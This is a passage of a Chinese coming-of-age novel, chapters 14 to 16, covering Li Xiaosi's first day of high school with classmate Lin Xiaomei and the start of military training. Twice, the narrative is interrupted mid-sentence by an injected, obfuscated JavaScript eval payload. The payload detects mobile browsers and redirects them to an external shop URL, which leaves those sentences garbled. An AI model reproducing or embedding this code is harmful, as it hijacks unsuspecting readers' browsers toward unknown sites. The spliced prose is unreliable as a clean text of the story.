但那个声音很坚定,像一颗种子在泥土里生根,像一株幼苗在风雨里拔节,像一个人,在漫长的夏天结束之后,终于准备好了迎接秋天。 14. 新世界 九月一号,李小四醒得比闹钟早。 天刚蒙蒙亮,窗帘外面透进来的光是灰蓝色的,带着一种秋天将至的凉意。他躺在床上,听到厨房里传来轻微的响动——锅铲碰铁锅的声音,水龙头开了一下又关了,碗筷叮叮当当的。妈妈已经在做早饭了。 他拿起手机看了一眼,六点二十。距离闹钟响还有十分钟。他把闹钟关掉,在床上又躺了一小会儿,盯着天花板。那道裂缝还在,弯弯曲曲的,跟整个夏天一模一样。但今天看它,感觉不一样了。说不上哪里不一样,就好像这道裂缝是属于“暑假”的,而暑假在今天就要结束了。 他掀开被子,坐起来,伸了个懒腰。床前放着那双大壮寄来的白色球鞋,鞋带已经穿好了,整整齐齐地摆在鞋架上。他穿上袜子,把脚伸进鞋里,踩了踩,鞋底软软的,有一种崭新的、还没有被踩过的弹性。他站起来走了两步,鞋跟处稍微有一点硬,需要穿几天才会变软。但大小刚好,不紧不松,像是量着他的脚买的。 洗漱完他走到厨房,妈妈正在往碗里盛面。西红柿鸡蛋面,西红柿切得碎碎的,鸡蛋打得很散,面条是手擀的,粗细不匀,但正是这种不均匀才好吃。汤上面漂着几滴香油和一把葱花,热气腾腾的,香味扑面而来。 “多吃点,”妈妈说,“第一天,别饿着。” “嗯。” 李小四坐在桌前,低头吃面。面条很烫,他吹了好几口才敢往嘴里送。妈妈坐在对面看着他吃,手里捧着一杯水,没有喝,就那么捧着,好像在暖手。九月的早晨已经不热了,厨房的窗户开着,有一阵凉风从外面吹进来,带着楼下那棵桂花树的香气。 “妈,你真的不用送我,我自己去就行。”李小四说。 “我送你去。”妈妈说,语气跟昨天一模一样,不容商量。 吃完早饭,李小四背上新书包,妈妈换了一件干净的衣服,两个人一起下了楼。妈妈的电动车停在楼道口,车座上有一层薄薄的露水,妈妈用抹布擦了一下,然后坐上去,插钥匙,拧油门。李小四坐在后面,两只手扶着车座后面的铁架,书包背在身后,沉甸甸的,压得他肩膀往后坠。 电动车穿过县城的主干道,经过那家开了十几年的包子铺,经过正在拆迁的老电影院,经过县医院门口那棵歪脖子槐树。街上的人渐渐多了起来,有上班的,有送孩子上学的,有买菜回来的老人,拉着小拖车,慢慢地走。九月的早晨已经有了秋天的意思,天很高,云很淡,风吹在脸上不再是热乎乎的,而是带着一丝干爽的凉。 县一中高中部的校门比初中部气派多了。两根方形的石柱,上面镶着金色的大字,校名是请本地一个老书法家写的,行书,笔锋很劲。校门口已经停了很多车,电动车、自行车、小汽车,乱七八糟地挤在一起,喇叭声此起彼伏。好多家长都来了,有的帮孩子扛着被褥——住校生要带的东西多,行李箱、脸盆、暖水瓶,大包小包的,像搬家一样。李小四是走读生,只背了一个书包,轻装上阵,走在人群里显得有点格格不入。 “你自己进去吧,”妈妈停好车,站在校门口,没有往里走,“妈就不进去了。” “你不是说要看看我学校吗?” “在门口看看就行了。”妈妈笑了笑,那笑容里有一种说不清的东西,像是欣慰,又像是舍不得,“你长大了,妈不能再什么事都跟着了。” 李小四看了妈妈一眼。她穿着一件洗得有些发白的碎花衬衫,头发用黑色的发夹别着,几缕碎发从耳边垂下来。她的脸在晨光里显得很柔和,比平时温柔了许多,可能是因为没有穿工作服的原因。在超市里她穿着那件红色的工作马甲,永远是忙碌的、着急的、眉头微皱的。现在她站在校门口,什么都不做,只是看着他的时候,她看起来像一个普通的母亲。 “那我进去了。”李小四说。 “去吧。” 他走了几步,回过头,妈妈还站在那里,冲他挥了挥手。他又走了几步,再回过头,妈妈还在。他转身朝她笑了一下,然后加快脚步,走进了校门。 校园很大,比初中部大了两三倍。一条笔直的主干道从校门一直延伸到教学楼,路两边种着法国梧桐,树冠高大,枝叶交错,在头顶搭起一条绿色的隧道。阳光从树叶的缝隙里漏下来,在地上洒了一地的光斑,像碎金子一样。路的尽头是一栋五层的教学楼,灰白色的墙面,蓝色的窗框,每一扇窗户都擦得很亮,反射着早上的阳光,整栋楼都在发光。 公告栏前围了一大堆人。分班名单贴在公告栏上,一共十二个班,每班五十人左右,名单印在粉红色的纸上,用胶水贴得整整齐齐。李小四挤进去,从一班开始找自己的名字。一班,没有。二班,没有。三班,没有。四班—— “李小四,高一(4)班。” 他看到自己的名字了,在第四列中间的位置。他顺着名单往下看,想找找有没有认识的人。林小美——他看到林小美的名字了,也在四班,在他名字下面几行。张瑞不在四班,他在六班。李小四又从头到尾看了一遍,四班的名字里,除了林小美,还有两三个是他认识的,但都不太熟,是以前隔壁班的,打过照面,没说过几句话。 他掏出手机,给林小美发了一条微信:“我在四班,你看到了吗?” “看到了。我也在四班。”林小美秒回。 “你在哪?” “公告栏这里。” 李小四抬起头,在人群里找了一圈,在公告栏的另一头看到了林小美。她穿着一件浅蓝色的T恤和一条深色的长裤,头发扎成高马尾,背上背着一个灰色的双肩包,正踮着脚尖往公告栏上看。虽然她已经知道自己在四班了,但好像还想再看一遍确认一下。 李小四挤过去,站到她旁边。林小美看到他,微微笑了一下,那个笑容很淡,但很真。 “我们一个班。”她说。 “嗯,一个班。” 两个人一起往教学楼走。四班的教室在三楼,走廊朝南,正对着操场。操场很大,有标准的四百米跑道,跑道是红色的塑胶的,中间的足球场是人工草坪,绿得不太自然,但远远看去很好看。操场边上种着一排银杏树,叶子还没有黄,还是那种夏天的深绿色。 教室里已经坐了不少人,三三两两地聊着天,互相认识。大部分人都来自不同的初中,彼此不熟悉,说话的时候带着一种试探性的客气,笑容也都收着,不像老朋友那样放得开。李小四找了个靠窗的位置坐下,林小美犹豫了一下,坐在了他旁边。 “你不跟别的女生坐?”李小四问。 林小美看了他一眼:“你不想跟我坐?” “不是,我就是问问。” “那你就别问。” 李小四不说话了,把书包放在桌上,拉开拉链,把笔袋和笔记本拿出来摆好。林小美也在做同样的事情,动作不紧不慢的,每一样东西都放得整整齐齐,连笔袋的拉链都要拉到正中间才停手。 教室里渐渐热闹起来。有人在大声聊天,有人在低头玩手机,有人在翻新发的课本,有人在偷偷观察周围的人。李小四也在观察。他看到第一排坐着一个戴眼镜的男生,正在翻一本很厚的物理竞赛书,翻得很认真,像是随时准备回答问题的那种人。最后一排靠墙角坐着一个穿黑色卫衣的男生,帽子扣在头上,戴着耳机,闭着眼睛,好像在听歌,又好像在睡觉,一副“别惹我”的样子。中间靠窗的位置坐着一个女生,头发染成深棕色,指甲上涂着淡粉色的甲油,正在用手机自拍,拍完还修了修图才发朋友圈。 这些人,他以后要跟他们一起度过三年。 “你看什么呢?”林小美注意到他的目光。 “看人。”李小四说,“看看以后跟谁打交道。” “看出来什么了?” “还没看出来。”他收回目光,看着林小美,“但我觉得,还是你最好打交道。” 林小美愣了一下,然后低下头,假装在整理笔袋,但耳朵红了,红得很明显。 七点五十分,班主任走进了教室。 是一个三十出头的女老师,姓沈,教语文的。她穿着一件白色的衬衫,黑色的长裤,头发齐肩,没有刘海,整张脸露出来,干干净净的。她的步子不快不慢,走到讲台上,把手里的文件夹放下,然后抬起头,目光从每个人脸上扫过。 那是一种跟马老师完全不同的目光。马老师的目光是审视的,是评估的,是在心里给你打分的那种。沈老师的目光是平和的,是接纳的,是“不管你是什么样的我都先看看”的那种。 “同学们好,”她开口了,声音不大,但很清楚,每个字都咬得很准,不愧是语文老师,“我姓沈,是你们的班主任。从今天起,高一(4)班就是你们的家了。” 她顿了顿,笑了一下:“我知道你们刚来,彼此不熟悉,对这个学校也不熟悉。没关系,慢慢来。高中的生活跟初中不一样,节奏更快,压力更大,需要你们更独立、更自律。但我相信你们都能适应,因为你们能考进一中,说明你们已经是最优秀的那一批了。” “最优秀的那一批”这几个字让李小四心里动了一下。他想起三年前,马老师也说过类似的话——“你们都是从各个小学考进来的优秀学生”。那时候他觉得这句话跟自己没关系,因为他不是考进来的,他是划片进来的。但现在,他是凭自己的分数考进来的。全县一百四十七名,不是什么了不起的成绩,但它是他自己挣来的。 沈老师讲了很多,讲了学校的规章制度,讲了高中的课程设置,讲了这一周的安排——前三天是入学教育,然后是军训,军训结束后正式上课。她的声音不急不慢,像一条平缓的河流,该快的时候快,该慢的时候慢,听得很舒服。 “最后,”沈老师合上文件夹,“我想让你们每个人做一件小事。从第一排开始,每个人站起来做一下自我介绍。说说你叫什么名字,从哪个初中毕业的,有什么爱好,或者说一件关于你自己的小事。什么都行,随便说。” 她笑着看着第一排:“来,从你开始。” 第一排靠门的一个男生站起来,个子不高,皮肤有点黑,说话的时候声音在发抖:“大家好,我叫赵磊,从城北中学毕业的,爱好是打篮球,特长是——特长是好像没什么特长。”他说完挠了挠头,全班笑了,他也笑了,笑着坐下了。 一个接一个,每个人都说几句。有人说喜欢唱歌,有人说喜欢打游戏,有人说喜欢睡觉,说什么的都有。轮到最后一排那个戴耳机的男生时,他慢吞吞地站起来,把耳机挂在脖子上,面无表情地说:“我叫陈屿白,从实验中学来的。爱好?没有。特长?也没有。”说完就坐下了,干脆利落,像完成一项不得不完成的任务。 李小四注意到林小美在听到“陈屿白”这个名字的时候,微微皱了一下眉头,好像想起了什么,但又不太确定。 轮到林小美了。她站起来,双手撑在桌沿上,姿态很稳。 “大家好,我叫林小美,从县一中初中部毕业的。爱好是看书,特长是数学。”她停了一下,好像在想要不要说点什么别的,最后什么也没加,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444064|201071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢谢大家。” 沈老师看了她一眼,眼神里有一种欣赏。 轮到李小四了。他站起来,心跳比预想的要快一些。 “大家好,我叫李小四,也是县一中初中部毕业的。”他停了一下,想说自己的爱好是打篮球,但想到自己已经很久没打了,技术也一般,就没说。想说自己的特长是数学,但林小美刚刚说了,他再说就显得在学她。他想了一下,说:“我初一的时候数学考过38分。” 教室里安静了一瞬,然后有人小声笑了。 “后来努力了三年,中考考了98分。”他说,“我想说的就是,不管你现在怎么样,只要努力,都能变好。” 沈老师看着他,嘴角的笑意深了一些。她没有说话,只是微微点了点头,那个动作很轻,但李小四看到了。 全班都介绍完之后,沈老师又说了几句鼓励的话,然后让大家去领课本。李小四跟林小美一起下楼,去一楼的教材分发处领了厚厚一摞课本——语文、数学、英语、物理、化学、生物、政治、历史、地理,还有好几本练习册和实验报告册,摞起来比初中多了一倍不止。 “好重。”林小美抱着那摞书,身体微微后仰以保持平衡。 “我帮你拿。” “不用,我自己能拿。” “你都说了不用,那我帮你拿一半。”李小四从她手里抽走了五六本,抱在自己怀里,“这样你就不算让我帮忙了。” 林小美白了他一眼,但没有再把书拿回去。 回到教室,李小四把课本一本一本地翻了一遍。高中的课本比初中的厚,字更小,内容更多,每一页都密密麻麻的,看着就让人头大。但他在翻到数学第一册的时候,看到第一章是集合——他在暑假看过的那部分,虽然看得迷迷糊糊的,但至少不是完全陌生的。这种感觉很奇怪,像是提前看到了未来的地图,虽然还不太会看,但知道路大概往哪个方向走。 中午放学的时候,李小四在校门口等林小美。她出来得晚了一些,被沈老师叫住说了几句话。走出校门的时候,她脸上的表情比平时多了一点什么,像是高兴,又像是压力。 “沈老师跟你说什么了?”李小四问。 “她让我当班长。”林小美说,语气很平淡,好像在说一件很普通的事。 “你答应了吗?” “答应了。” “那以后要叫你林班长了。” 林小美白了他一眼:“你敢叫试试。” 李小四笑了。他看着林小美骑上那辆天蓝色的自行车,车铃铛还是没装,光秃秃的杆子戳在那里。她蹬了一下踏板,自行车往前滑了出去,马尾辫在脑后一甩一甩的。 “下午见。”她说。 “下午见。” 李小四骑电动车回家,一路上脑子里乱糟糟的。新学校,新老师,新同学,新的课本,新的作息时间表——一切都是新的,新得让他有点不习惯。他不是一个喜欢变化的人,他习惯了初中的教室,习惯了马老师的训话,习惯了林小美坐在旁边,习惯了课间跟张瑞打打闹闹。现在这些都没了,他要重新适应一切。 但也许,重新适应也不是坏事。 回到家,妈妈已经做好了午饭。红烧肉,炒青菜,一碗紫菜蛋花汤。她今天请了半天假,下午才去上班。 “学校怎么样?”妈妈一边盛饭一边问。 “还行。班主任姓沈,教语文的,看起来挺好的。我跟林小美一个班,还坐同桌。” “就是你常说的那个女同学?” “嗯。” 妈妈看了他一眼,嘴角有一种意味深长的弯度,但什么也没说,把饭递给他:“多吃点,下午还要去。” 下午是入学教育,沈老师讲了高中的学习方法和纪律要求,又发了军训服和作息时间表。军训从明天开始,持续一周,每天上午八点到下午五点,中间休息两个小时。军训服是迷彩的,布料很薄,一抖就起褶子,闻起来有一股仓库的味道。 李小四把军训服叠好,塞进书包里。书包已经很满了,塞了课本、笔记本、笔袋、水杯,现在又多了一套军训服,拉链勉强能拉上,鼓得像一个快要爆炸的包裹。 放学的时候,太阳已经偏西了,光线变成了金黄色。校园里人少了很多,大部分人都走了,只有几个住校生在操场上打篮球,球鞋摩擦地面的声音吱吱的,在空旷的校园里显得很响。 李小四骑着电动车出校门的时候,在校门口遇到了一个人。 沈老师站在校门口,手里拿着一个文件夹,正在跟门卫大爷说话。看到李小四,她朝他招了招手。 “李小四,你等一下。” 李小四停下车,推着车走过去。 “你刚才自我介绍的时候说,你初一数学考过38分,中考考了98分。”沈老师看着他的眼睛,“这个进步很大,你是怎么做到的?” 李小四想了想:“就是……每天做题,不会的问老师问同学。刚开始很难,后来慢慢就好了。” 沈老师点了点头:“你是个有毅力的孩子。高中比初中难,但你的方法是对的——坚持。遇到困难不要怕,慢慢来,总能解决的。” “谢谢沈老师。” “去吧,路上慢点。” 李小四骑上电动车,骑出去一段路,回头看了一眼。沈老师还站在校门口,夕阳把她的影子拉得很长,她正在跟另外一个学生说话,弯着腰,听得很认真。 他突然觉得,这个新世界,也许没有他想的那么可怕。 15. 军训 九月二号,军训第一天。 李小四到学校的时候,操场上已经站满了人。十二个班,六百多个高一新生,穿着统一的迷彩服,站在指定的位置上,像一片绿色的方阵。晨风吹过来,迷彩服哗哗地响,远远看去像一片被风吹动的麦田。 他找到高一(4)班的位置,站到队伍里。林小美已经在了,站在女生那一排的第一个位置,手里拿着一份花名册,正在清点人数。她的迷彩服明显太大了,袖子挽了两道,裤腿也挽了两道,整个人像套在一个大口袋里,但她站得笔直,表情认真得像一个小军官。 “李小四,你迟到了。”林小美看了他一眼,语气公事公办。 “我没迟到,还有三分钟才到点。”李小四举起手腕,给她看爸爸送的那块电子表。 林小美没有跟他争,在花名册上打了个勾,继续点下一个人。 李小四站到自己的位置上,排在第三排第四个,左边是一个他不认识的男生,右边是空的——那个位置是陈屿白的,但他还没来。李小四往校门口的方向看了一眼,没有看到那个穿黑色卫衣的身影。 教官比学生到得还早。 一共十二个教官,据说是从县武装部请来的,都是退伍军人,一个个站得笔挺,表情严肃得像铁板。分给四班的教官姓周,二十六七岁的样子,个子不高,但很结实,肩膀宽得像一堵墙。他的脸晒成了深棕色,脖子后面有一道明显的V形晒痕,那是军装领口留下的印记。 “我叫周正,”教官站在队伍前面,声音不大但中气十足,“从今天起,我是你们的教官。军训七天,我说什么你们做什么。我说往东,你们不能往西。我说站住,你们不能动。听明白没有?” “听明白了——”声音稀稀拉拉的,不太整齐。 “大声点!听明白没有?” “听明白了!”这次声音大了很多,震得李小四的耳膜嗡嗡响。 “很好。”周教官点了点头,“先站军姿。二十分钟。头要正,颈要直,口要闭,下颌微收,两眼平视前方。两肩要平,稍向后张。两臂自然下垂,手指并拢自然微屈,拇指尖贴于食指第二关节,中指贴于裤缝。收腹,挺胸,提臀。两腿挺直,膝盖后压。脚跟并拢,脚尖分开约六十度。” 他一口气说完这一长串,然后扫了一眼队伍:“听懂了没有?” 没有人说话,因为大家都没完全听懂。 “听不懂没关系,”周教官说,“我做一遍给你们看。” 他做了一个标准的立正姿势,确实跟普通人站得不一样。普通人站着就是站着,松松垮垮的,怎么舒服怎么来。但他一站,整个人像一把出鞘的刀,从脚底到头顶,每一条线都是直的,每一块肌肉都是绷的,就连手指尖都带着一种说不上来的力量感。 “看清楚没有?就照这个样子站。开始。” 二十分钟的军姿,比李小四想象的要难得多。 前五分钟还好,他只是觉得站着有点无聊,想着教官什么时候喊停。到第八分钟的时候,小腿开始发酸,像有两根绳子从脚踝一直绷到膝盖,越来越紧。第十分钟,后脚跟开始发麻,麻得像踩在蚂蚁窝上,无数只小虫子在脚底爬。第十二分钟,腰也开始酸了,他想偷偷弯一下腰,但教官的目光像探照灯一样扫来扫去,他不敢动。 第十五分钟,他的额头上开始冒汗。九月初的太阳虽然不如八月毒,但直直地晒在脸上还是很热,汗水顺着鼻梁往下淌,流到嘴唇边,咸咸的。他想擦,但不敢抬手。 他偷偷看了一眼旁边的林小美。她站得纹丝不动,脸上的表情跟平时做题时一模一样——专注、认真、不急不躁。她的额头上也有汗,但她连眼睛都不眨一下,就那么站着,像一棵种在地里的树。 他又偷偷看了一眼陈屿白的位置。不知道什么时候,陈屿白已经来了,站在他右边的空位上。他穿着迷彩服,帽子压得很低,几乎遮住了半张脸。他的站姿跟周教官要求的完全不一样——膝盖没并拢,肩膀没后张,手也没贴裤缝,就那么松松垮垮地站着,像一根没有骨头的草。 周教官显然也注意到了。他走过来,站在陈屿白面前,上下打量了他一下。 “你叫什么名字?” “陈屿白。” “陈屿白,你站的是军姿吗?” “是。”陈屿白的语气很平淡,没有挑衅的意思,但也没有配合的意思。 周教官盯着他看了两秒钟,然后伸出手,把他的肩膀往后扳了扳,又把他的手按到裤缝上,再把他的膝盖往里并了并。陈屿白像一个被人摆弄的木偶,任他摆布,但表情没有任何变化。 “保持这个姿势。”周教官说。 他转身走了两步,陈屿白又恢复了原来的样子,肩膀塌着,膝盖开着,手不知道放在哪里。周教官回过头,看了他一眼,没有说话,但眼神里多了一点什么——不是愤怒,更像是一种“行,我看你能撑多久”的耐心。 二十分钟终于到了。 “稍息——”周教官喊了一声。 所有人都像被抽走了骨头一样,瘫了下来。有人弯腰揉腿,有人甩胳膊,有人蹲在地上不起来。李小四的腿已经不太听使唤了,膝盖像生锈的合页,弯一下嘎嘣响。他使劲跺了跺脚,让血液重新流到脚尖,麻得他龇牙咧嘴。 林小美没有揉腿,也没有弯腰。她只是微微活动了一下脚踝,然后站在原地,安静地喝水。她的水瓶是一个旧的运动水壶,蓝色的塑料外壳,上面贴着一张贴纸,写着“加油”两个字,贴纸的边角已经翘起来了。 “你不累?”李小四问。 “累。”林小美说,“但不能表现出来。” “为什么?” “因为我是班长。” 李小四看着她,忽然觉得这个班长当得挺不容易的。别人可以喊累,可以抱怨,可以偷偷偷懒,但她不行。她得站着,得撑住,得做那个“不累”的人。不是因为真的不累,而是因为她站在那里,别人就会觉得——班长都不累,那我也可以。 上午的训练内容很简单:立正、稍息、跨立、停止间转法。听起来不难,但做起来全是细节。光是“向左转”这一个动作,周教官就让他们练了不下五十遍。不是转错了方向,而是靠脚的时候没有声音,或者转的时候身体晃了,或者转完之后两只脚的角度不对。 “靠脚要有力!啪的一声!不是蹭过去!你们是蹭地板的大爷大妈吗?” 周教官的嗓门大得惊人,不用扩音器,整个操场都能听到。他骂人不带脏字,但每一句都像刀子,扎得人生疼。有人在底下小声嘀咕,被他听到了,罚全队多练了十遍。 李小四的腿越来越酸,脚底板像踩在烧红的铁板上,火辣辣的疼。他的迷彩服已经被汗水浸透了,贴在背上,黏糊糊的,难受得要命。但他咬着牙没有吭声,因为他看到林小美也没有吭声。 中午休息的时候,李小四跟林小美坐在操场边上的花坛沿上,一人捧着一个盒饭。盒饭是从食堂打来的,两荤一素,米饭管够。李小四饿坏了,狼吞虎咽地吃了大半盒,才想起来抬头看一眼林小美。 她吃得很慢,一小口一小口的,像是在数米粒。饭盒里的菜她挑了一些出来,放在饭盒盖上,是几块肥肉和一片看起来不太新鲜的青菜。 “你不吃那个?”李小四问。 “不吃。”林小美说,没有解释。 李小四知道她不是挑食。他见过她吃馒头蘸辣椒酱的样子,那不是挑食的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444065|201071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人会做的事情。她不吃,大概是因为肥肉太腻,青菜不新鲜,她不想让自己吃得不舒服。但这句话他没有说出来,只是“哦”了一声,继续吃自己的饭。 下午的训练比上午更累。 周教官教了齐步走的摆臂动作,光是摆臂就练了一个小时。手臂要摆到什么高度,什么角度,前后摆动的幅度是多少,每一个细节都有严格的标准。他让所有人把手臂抬起来,保持这个姿势不动,然后一排一排地检查。 “手抬高了!放低一点!” “手臂太僵了!放松!自然一点!” “你,手别晃!定住!” 李小四的手臂很快就酸了,像举着一块看不见的石头,越来越沉,越来越重。他的肩膀开始发抖,手臂开始往下掉,他使劲撑住,但撑不了多久就又掉了。周教官走过来,把他的手臂抬到正确的位置,说了一句“撑住”,就走了。李小四咬着牙,盯着前面那个人的后脑勺,心里默念:撑住,撑住,撑住。 他撑住了。 当周教官喊“放下”的时候,他的手臂已经僵住了,弯不下来了,要用另一只手按着才能放下来。 “明天会更酸,”周教官说,“但练着练着就好了。” 下午四点半,第一天的军训结束了。 李小四骑电动车回家,一路上觉得腿不是自己的,胳膊也不是自己的,整个人像被拆散了又重新组装起来,但组装的时候少装了几颗螺丝,到处都松松垮垮的。他上楼的时候,腿像灌了铅一样沉,每迈一步都要用尽全力。 妈妈已经下班了,正在厨房里做饭。看到他进门,第一句话就是:“晒黑了。” “嗯。”李小四把书包扔在沙发上,瘫坐在椅子上,不想动了。 “累不累?” “累。”他说这个字的时候,觉得这个字太轻了,根本不足以形容他现在的状态。 他洗了个澡,换了身干净衣服,坐到餐桌前。妈妈做了他最爱吃的红烧排骨,还有一盘清炒土豆丝和一碗冬瓜汤。他吃了两碗饭,把排骨啃得干干净净,连骨头上的筋都啃了。吃完饭他帮着洗了碗,然后回到房间,倒在床上,不想再起来了。 手机亮了。林小美发来的消息。 “明天早上七点半到校,别迟到。” “知道了,林班长。”他回。 “你的腿酸吗?” “酸。胳膊也酸。” “明天会更酸。” “你已经说过了。” “那就再说一遍。明天会更酸,但后天就好了。” 李小四看着这行字,想象林小美说这句话时候的表情。她大概是一本正经的,像宣布一条班级通知一样认真。但这句话的内容其实挺温柔的——“后天就好了”,像是在告诉他,撑过明天,一切都会好起来。 “你也是。”他回。 “嗯。” 他放下手机,关了灯,闭上眼睛。腿还在酸,胳膊还在疼,脑子里却全是今天训练的画面。周教官的吼声,操场上六百多个人一起跺脚的声音,迷彩服在风里哗哗响的声音,还有林小美站在队伍最前面,站得笔直笔直的样子。 他翻了个身,把被子拉到下巴。 窗外有虫鸣,不像夏天那么吵了,秋天的虫子叫声轻了很多,细细的,软软的,像是在给夏天送行。风从窗户的缝隙里钻进来,带着一丝凉意,吹在他裸露的手臂上,起了一层鸡皮疙瘩。 他想,明天还会很累,后天也会,这一周都会。但熬过这一周,他就是真正的高中生了。 不是穿着迷彩服的高一新生,而是脱下迷彩服之后,坐在教室里上课的那个高中生。 他在黑暗中笑了一下,闭上眼睛,很快就睡着了。 16. 正步走 军训第二天,李小四的身体比他先醒过来。 他是被疼醒的。小腿像被人用棍子敲过,大腿根部的肌肉每一根都在抗议,胳膊抬不起来,肩膀像扛了一整天沙袋,连翻身都费劲。他躺在床上,花了大概两分钟时间,从头到脚做了一次伤情评估,得出的结论是:整个人都废了。 闹钟还没响。他伸手摸到手机看了一眼,六点十分。比昨天醒得还早。他把手机放下,盯着天花板发呆。那道裂缝还在,但今天他没有心情去想它像什么。他满脑子只有一个念头——今天还要站一天的军姿,还要踢正步,还要被周教官吼。 他想起昨天林小美说的“明天会更酸”,觉得她真是先知。 挣扎着爬起来,洗漱的时候胳膊抬不起来,刷牙变成了一个需要动用核心力量的动作。他对着镜子看了看自己,脸晒黑了一圈,鼻子和颧骨的地方有点发红,像是要脱皮的样子。他用手摸了摸,有点疼。 妈妈已经把早饭做好了。小米粥,煮鸡蛋,一碟咸菜。她看到李小四走路的样子,忍不住笑了:“腿疼?” “浑身都疼。”李小四扶着椅子坐下,拿起一个鸡蛋在桌上滚了滚,开始剥壳。 “头两天最难受,熬过去就好了。”妈妈把粥推到他面前,“多喝点粥,补充水分。” 李小四喝了兩碗粥,吃了两个鸡蛋,又把咸菜吃得干干净净。吃完饭他换了迷彩服,袖子刚伸进去就觉得不对——昨天还只是稍微有点紧,今天怎么感觉整个人都肿了一圈?他把衣服扯了扯,勉强穿好,系上腰带,站在镜子前看了看。迷彩服被汗水浸过之后变得有些僵硬,领口和腋下的地方有一圈白色的汗渍,像地图上的等高线。 他穿上大壮送的那双白色球鞋。昨天穿了一天,鞋底已经没那么硬了,后跟的磨脚感也好了很多。他跺了跺脚,觉得这双鞋是他今天最舒服的部分。 到学校的时候,操场上已经有人在站着了。今天是第二天,大家的迷彩服都皱了,脸都黑了,表情都比昨天凝重了很多。没有人再嘻嘻哈哈了,因为大家都知道,今天会比昨天更累。 林小美站在队伍的最前面,手里还是拿着那本花名册。她的迷彩服还是那么大,袖子还是挽着,但她今天在腰间多系了一根布带,把衣服收紧了,看起来利落了不少。她看到李小四,微微点了一下头,算是在花名册上打了个勾。 陈屿白今天又迟到了。他走过来的时候,周教官已经站在队伍前面了。他穿着一双黑色的运动鞋,鞋带没系,拖在地上,走路的时候发出啪嗒啪嗒的声音。 “陈屿白,”周教官叫住他,“鞋带系好。” 陈屿白低头看了一眼自己的鞋,蹲下来,慢吞吞地系了鞋带。系完之后站起来,周教官还在看他。 “昨天教的军姿,你还记得吗?” “记得。” “站一个给我看看。” 陈屿白站了一个军姿。比昨天好了一点,膝盖并拢了,肩膀也没有塌得那么厉害了。但他的手还是没有贴紧裤缝,手指虚虚地搭在大腿两侧,像是在应付差事。 周教官看了他几秒钟,没有纠正,也没有批评,只说了一句:“归队。” 上午的训练内容是齐步走。 昨天练了摆臂,今天要把手臂和脚步配合起来。周教官喊着“一二一”的口令,带着大家一排一排地走。听起来很简单,但真正走起来才知道有多难。有人走快了,有人走慢了,有人同手同脚,有人摆臂的时候手臂甩得像风车。整个队伍走得七零八落的,像一群被赶着走路的鸭子。 “你们这是在走路吗?你们这是在逛街!”周教官的声音在操场上回荡,“对齐!标齐排面!用余光看旁边的人!不要光看自己的脚!” 李小四走在第三排中间,左边是一个叫刘洋的男生,右边是陈屿白。刘洋走得很快,总是比他快半步,他不得不加快脚步跟上刘洋,但一加快就撞到前面的同学。陈屿白走得很慢,总是落后他半步,他慢下来等陈屿白,后面的同学就撞上他。他夹在中间,左右为难,怎么走都不对。 “第三排第四个!”周教官喊的是他,“你是瘸子吗?一瘸一拐的!” 李小四的脸一下子红了。他想解释是因为左右的人节奏不一样,但他张了张嘴,没有说。说什么呢?说“教官这不是我的错”?那听起来就像在找借口。周教官最讨厌的就是找借口,昨天已经有人领教过了。 他咬着牙,不去管刘洋和陈屿白,只管自己走。他用自己的节奏,一步,一步,一步,保持步幅均匀,手臂摆到标准的高度。刘洋快了他不管,陈屿白慢了他也不管,他就走自己的。走了几遍之后,他发现一个奇怪的现象——刘洋看到他不跟了,也放慢了脚步;陈屿白看到他不停下来等,也加快了脚步。三个人居然慢慢对齐了。 周教官看了他一眼,没有说话,但李小四觉得那个眼神里有一丝满意。 中午休息的时候,李小四坐在花坛沿上吃盒饭。今天的菜是土豆烧牛肉、清炒豆芽、番茄炒蛋,米饭上面浇了一勺菜汤,味道还不错。他吃得很慢,一边吃一边揉小腿。小腿肚硬邦邦的,像两块石头,按下去就弹回来,酸胀感从脚踝一直蔓延到膝盖。 林小美端着饭盒走过来,在他旁边坐下。她今天的菜跟昨天一样,挑了一些出来放在饭盒盖上。李小四瞄了一眼,是几块肥肉和一片看起来不太新鲜的青菜。 “你每天都挑食。”李小四说。 “我没有。”林小美说,夹起一块瘦肉放进嘴里,慢慢地嚼。 “你就是有。” 林小美没有理他,低头吃饭。她吃得很安静,咀嚼的声音几乎没有,筷子碰到饭盒的声音也轻得像猫走路。李小四有时候觉得,林小美这个人活着的方式就是尽量不发出声音,不让别人注意到她。她坐在那里,安安静静的,像一片落在水面上的叶子,不惊动任何人。 吃完饭,林小美从口袋里掏出一个橘子,递给李小四。 “哪来的?” “从家里带的。” “你不是说你不吃水果吗?” “我不吃,你吃。” 李小四接过橘子,剥开,掰了一瓣放进嘴里。很甜,汁水很多,跟他以前吃过的那些橘子一样。他不知道林小美从哪里买来的橘子,每次都是这个味道,不酸,不涩,就是纯纯的甜。 “你奶奶身体怎么样了?”他问。 “还行,”林小美说,“就是腿不太好,走路走不快。我每天早上给她做好早饭再去学校。” “你做饭?” “嗯。我奶奶起得晚,我就先做好,她醒了热一下就能吃。” 李小四嚼着橘子,没有说话。他想起自己每天早上起来的时候,妈妈已经把早饭做好了,放在锅里保温。他从来不用想早饭的事,不用想午饭的事,不用想任何家务事。他只需要学习,只需要考个好成绩,只需要不辜负妈妈的期望。 